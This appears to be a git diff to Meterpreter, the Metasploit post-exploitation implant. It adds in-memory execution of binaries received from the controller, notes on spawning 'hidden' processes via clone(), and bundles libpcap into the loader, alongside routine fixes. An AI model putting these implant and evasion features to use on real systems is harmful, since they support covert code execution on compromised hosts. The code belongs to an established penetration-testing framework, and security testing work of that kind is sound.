diff --git a/c/meterpreter/source/common/arch/posix/scheduler.c b/c/meterpreter/source/common/arch/posix/scheduler.c index ced59515..cdacf8dd 100644 --- a/c/meterpreter/source/common/arch/posix/scheduler.c +++ b/c/meterpreter/source/common/arch/posix/scheduler.c @@ -294,11 +294,11 @@ scheduler_run(THREAD *thread) LIST_REMOVE(current, link); close(current->waitable); + channel_close((Channel *)current->context, remote, NULL, 0, NULL); free(current); + nentries--; - // how do we notify remote that we have closed fd? - // it just hangs atm :~( } } } diff --git a/c/meterpreter/source/common/common.h b/c/meterpreter/source/common/common.h index 132482d6..b2240f76 100644 --- a/c/meterpreter/source/common/common.h +++ b/c/meterpreter/source/common/common.h @@ -17,6 +17,9 @@ #include #include #include +#include +#include +#include // only do debugging on unix side of things for now. #define DEBUGTRACE diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/process.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/process.c index 493acb16..5c4e9eb5 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/process.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/process.c @@ -10,6 +10,10 @@ typedef BOOL (STDMETHODCALLTYPE FAR * LPFNCREATEENVIRONMENTBLOCK)( LPVOID *lpEn typedef BOOL (STDMETHODCALLTYPE FAR * LPFNDESTROYENVIRONMENTBLOCK) ( LPVOID lpEnvironment ); typedef BOOL (WINAPI * LPCREATEPROCESSWITHTOKENW)( HANDLE, DWORD, LPCWSTR, LPWSTR, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION ); +#else + +#include "linux-in-mem-exe.h" + #endif /* @@ -21,8 +25,8 @@ typedef BOOL (WINAPI * LPCREATEPROCESSWITHTOKENW)( HANDLE, DWORD, LPCWSTR, LPWST DWORD request_sys_process_attach(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); - HANDLE handle = NULL; #ifdef _WIN32 + HANDLE handle = NULL; DWORD result = ERROR_SUCCESS; DWORD pid; @@ -67,21 +71,22 @@ DWORD request_sys_process_close(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); HANDLE handle; -#ifdef _WIN32 DWORD result = ERROR_SUCCESS; - handle = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE); + if (handle) { +#ifdef _WIN32 if (handle != GetCurrentProcess()) CloseHandle(handle); +#else + // XXX ... not entirely sure this ports across. +#endif } else result = ERROR_INVALID_PARAMETER; -#else - DWORD result = ERROR_NOT_SUPPORTED; -#endif + // Send the response packet to the requestor packet_transmit_response(result, remote, response); @@ -155,6 +160,8 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD result = ERROR_SUCCESS; + Tlv inMemoryData; + BOOL doInMemory = FALSE; #ifdef _WIN32 PROCESS_INFORMATION pi; STARTUPINFO si; @@ -162,8 +169,6 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) PCHAR path, arguments, commandLine = NULL; DWORD flags = 0, createFlags = 0; BOOL inherit = FALSE; - Tlv inMemoryData; - BOOL doInMemory = FALSE; HANDLE token, pToken; char * cpDesktop = NULL; DWORD session = 0; @@ -546,7 +551,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) if( cpDesktop ) free( cpDesktop ); #else - PCHAR path, arguments, commandLine = NULL; + PCHAR path, arguments;; DWORD flags; char *argv[64], *p; int in[2] = { -1, -1 }, out[2] = {-1, -1}; // file descriptors @@ -556,6 +561,8 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) pid_t pid; int have_pty = -1; + int hidden = (flags & PROCESS_EXECUTE_FLAG_HIDDEN); + dprintf( "[PROCESS] request_sys_process_execute" ); do { @@ -566,6 +573,11 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) dprintf("path: %s, arguments: %s\n", path ? path : "(null)", arguments ? arguments : "(null)"); + if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS) + { + doInMemory = TRUE; + } + // how to handle a single string argument line? we don't have a lexer/parser to // correctly handle stuff like quotes, etc. could dumbly parse on white space to // build arguments for execve. revert to /bin/sh -c style execution? @@ -663,6 +675,12 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) } } + /* + * We can create "hidden" processes via clone() instead of fork() + * clone(child_stack, flags = CLONE_THREAD) should do the trick. Probably worth while as well. + * memory / fd's etc won't be shared. linux specific syscall though. + */ + pid = fork(); switch(pid) { @@ -672,7 +690,8 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) break; case 0: - if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { + if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) + { if(have_pty) { dup2(slave, 0); @@ -690,9 +709,16 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) } for(i = 3; i < 1024; i++) close(i); - execve(path, argv, environ); - exit(EXIT_FAILURE); + if(doInMemory) + { + perform_in_mem_exe(argv, environ, inMemoryData.buffer); + } else { + execve(path, argv, environ); + } + dprintf("[%s] failed to execute program, exit(EXIT_FAILURE) time", __FUNCTION__); + + exit(EXIT_FAILURE); default: dprintf("child pid is %d\n", pid); if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { @@ -826,7 +852,7 @@ DWORD request_sys_process_getpid(Remote *remote, Packet *packet) #ifdef _WIN32 packet_add_tlv_uint(response, TLV_TYPE_PID, GetCurrentProcessId()); #else - packet_add_tlv_uint(response, TLV_TYPE_PID, gettid()); + packet_add_tlv_uint(response, TLV_TYPE_PID, getpid()); #endif packet_transmit_response(ERROR_SUCCESS, remote, response); diff --git a/c/meterpreter/source/server/rtld/Makefile b/c/meterpreter/source/server/rtld/Makefile index a679b293..f4966635 100644 --- a/c/meterpreter/source/server/rtld/Makefile +++ b/c/meterpreter/source/server/rtld/Makefile @@ -33,7 +33,10 @@ libsupport.h: ../../bionic/compiled/libsupport.so libmetsrv_main.h: ../../bionic/compiled/libmetsrv_main.so ../../../tools/so2h.pl ../../bionic/compiled/libmetsrv_main.so libmetsrv_main -metsrv_rtld.o: libc.h libm.h libcrypto.h libssl.h libmetsrv_main.h libsupport.h +libpcap.h: ../../bionic/compiled/libpcap.so + ../../../tools/so2h.pl ../../bionic/compiled/libpcap.so libpcap + +metsrv_rtld.o: libc.h libm.h libcrypto.h libssl.h libmetsrv_main.h libsupport.h libpcap.h rtldtest: rtldtest.c msflinker gcc -o rtldtest rtldtest.c -DEP=`objdump -f msflinker | grep start | awk '{ print $$3 }'` diff --git a/c/meterpreter/source/server/rtld/metsrv_rtld.c b/c/meterpreter/source/server/rtld/metsrv_rtld.c index da531e61..69270946 100644 --- a/c/meterpreter/source/server/rtld/metsrv_rtld.c +++ b/c/meterpreter/source/server/rtld/metsrv_rtld.c @@ -27,6 +27,7 @@ #include "libssl.h" #include "libsupport.h" #include "libmetsrv_main.h" +#include "libpcap.h" struct libs { char *name; @@ -42,6 +43,7 @@ static struct libs libs[] = { { "libssl.so.0.9.8", libssl, libssl_length, NULL }, { "libsupport.so", libsupport, libsupport_length, NULL }, { "libmetsrv_main.so", libmetsrv_main, libmetsrv_main_length, NULL }, + { "libpcap.so.1", libpcap, libpcap_length, NULL }, }; #define LIBC_IDX 0 diff --git a/c/meterpreter/source/server/rtld/msflinker.c b/c/meterpreter/source/server/rtld/msflinker.c index 0f12ddd9..bd8f2b4f 100644 --- a/c/meterpreter/source/server/rtld/msflinker.c +++ b/c/meterpreter/source/server/rtld/msflinker.c @@ -547,12 +547,6 @@ _do_lookup(soinfo *si, const char *name, unsigned *base) } } - if(! strncmp(name, "dl", 2)) { - s = _elf_lookup(&libdl_info, elf_hash, name); - if((s != NULL) && (s->st_shndx != SHN_UNDEF)) - goto done; - } - #if ALLOW_SYMBOLS_FROM_MAIN /* If we are resolving relocations while dlopen()ing a library, it's OK for * the library to resolve a symbol that's defined in the executable itself, diff --git a/c/meterpreter/workspace/ext_server_stdapi/Makefile b/c/meterpreter/workspace/ext_server_stdapi/Makefile index cc8eaa19..5349dc5a 100644 --- a/c/meterpreter/workspace/ext_server_stdapi/Makefile +++ b/c/meterpreter/workspace/ext_server_stdapi/Makefile @@ -27,7 +27,7 @@ endif objects = server/general.o server/stdapi.o server/fs/dir.o server/fs/file.o \ server/fs/fs_util.o \ server/net/socket/tcp.o server/net/socket/tcp_server.o server/net/socket/udp.o \ - server/sys/config/config.o server/sys/process/process.o + server/sys/config/config.o server/sys/process/process.o server/sys/process/linux-in-mem-exe.o #server/net/config/interface.o \ #server/net/config/route.o \